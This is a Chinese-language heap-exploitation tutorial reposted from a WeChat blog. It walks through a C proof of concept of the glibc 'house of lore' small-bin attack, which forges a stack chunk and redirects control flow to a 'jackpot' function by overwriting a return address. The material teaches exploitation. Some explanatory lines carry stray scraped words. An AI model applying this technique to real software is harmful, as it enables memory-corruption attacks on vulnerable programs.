#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
int main(int argc, char * argv[]){
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
fprintf(stderr, "定義了兩個數組");
fprintf(stderr, "stack_buffer_1 在 %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 在 %p\n", (void*)stack_buffer_2);
intptr_t *victim = malloc(100);
fprintf(stderr, "申請第一塊屬於 fastbin 的 chunk 在 %p\n", victim);
intptr_t *victim_chunk = victim-2;//chunk 開始的位置
fprintf(stderr, "在棧上僞造一塊 fake chunk\n");
fprintf(stderr, "設置 fd 指針指向 victim chunk,來繞過 small bin 的檢查,這樣的話就能把堆棧地址放在到 small bin 的列表上\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;
fprintf(stderr, "設置 stack_buffer_1 的 bk 指針指向 stack_buffer_2,設置 stack_buffer_2 的 fd 指針指向 stack_buffer_1 來繞過最後一個 malloc 中 small bin corrupted, 返回指向棧上假塊的指針");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
void *p5 = malloc(1000);
fprintf(stderr, "另外再分配一塊,避免與 top chunk 合併 %p\n", p5);
fprintf(stderr, "Free victim chunk %p, 他會被插入到 fastbin 中\n", victim);
free((void*)victim);
fprintf(stderr, "\n此時 victim chunk 的 fd、bk 爲零\n");
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
fprintf(stderr, "這時候去申請一個 chunk,觸發 fastbin 的合併使得 victim 進去 unsortedbin 中處理,最終被整理到 small bin 中 %p\n", victim);
void *p2 = malloc(1200);
fprintf(stderr, "如今 victim chunk 的 fd 和 bk 更新爲 unsorted bin 的地址\n");
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
fprintf(stderr, "如今模擬一個能夠覆蓋 victim 的 bk 指針的漏洞,讓他的 bk 指針指向棧上\n");
victim[1] = (intptr_t)stack_buffer_1;
fprintf(stderr, "而後申請跟第一個 chunk 大小同樣的 chunk\n");
fprintf(stderr, "他應該會返回 victim chunk 而且它的 bk 爲修改掉的 victim 的 bk\n");
void *p3 = malloc(100);
fprintf(stderr, "最後 malloc 一次會返回 victim->bk 指向的那裏\n");
char *p4 = malloc(100);
fprintf(stderr, "p4 = malloc(100)\n");
fprintf(stderr, "\n在最後一個 malloc 以後,stack_buffer_2 的 fd 指針已更改 %p\n",stack_buffer_2[2]);
fprintf(stderr, "\np4 在棧上 %p\n", p4);
intptr_t sc = (intptr_t)jackpot;
memcpy((p4+40), &sc, 8);
}
intptr_t *victim = malloc(100);
linux
首先申請了一個在 fastbin 範圍內的 victim chunk,而後再在棧上構造了一個假的 chunkweb
爲了繞過檢測,設置 stack_buffer_1 的 bk 指針指向 stack_buffer_2,設置 stack_buffer_2 的 fd 指針指向 stack_buffer_1數組
接下來先 malloc 一個防止 free 以後與 top chunk 合併,而後 free 掉 victim,這時候 victim 會被放到 fastbin 中微信
接下來再去 malloc 一個 large chunk,會觸發 fastbin 的合併,而後放到 unsorted bin 中,這樣咱們的 victim chunk 就放到了 unsorted bin 中,而後最終被 unsorted bin 分配到 small bin 中編輯器
參考:url
http://blog.topsec.com.cn/pwn的藝術淺談(二):linux堆相關/spa
https://bbs.pediy.com/thread-257742.htm.net
再把 victim 的 bk 指針改成 stack_buffer_13d
再次去 malloc 會 malloc 到 victim chunk,再一次 malloc 的話就 malloc 到了 0x00007fffffffdcc0指針
本文分享自微信公衆號 - 陳冠男的遊戲人生(CGN-115)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。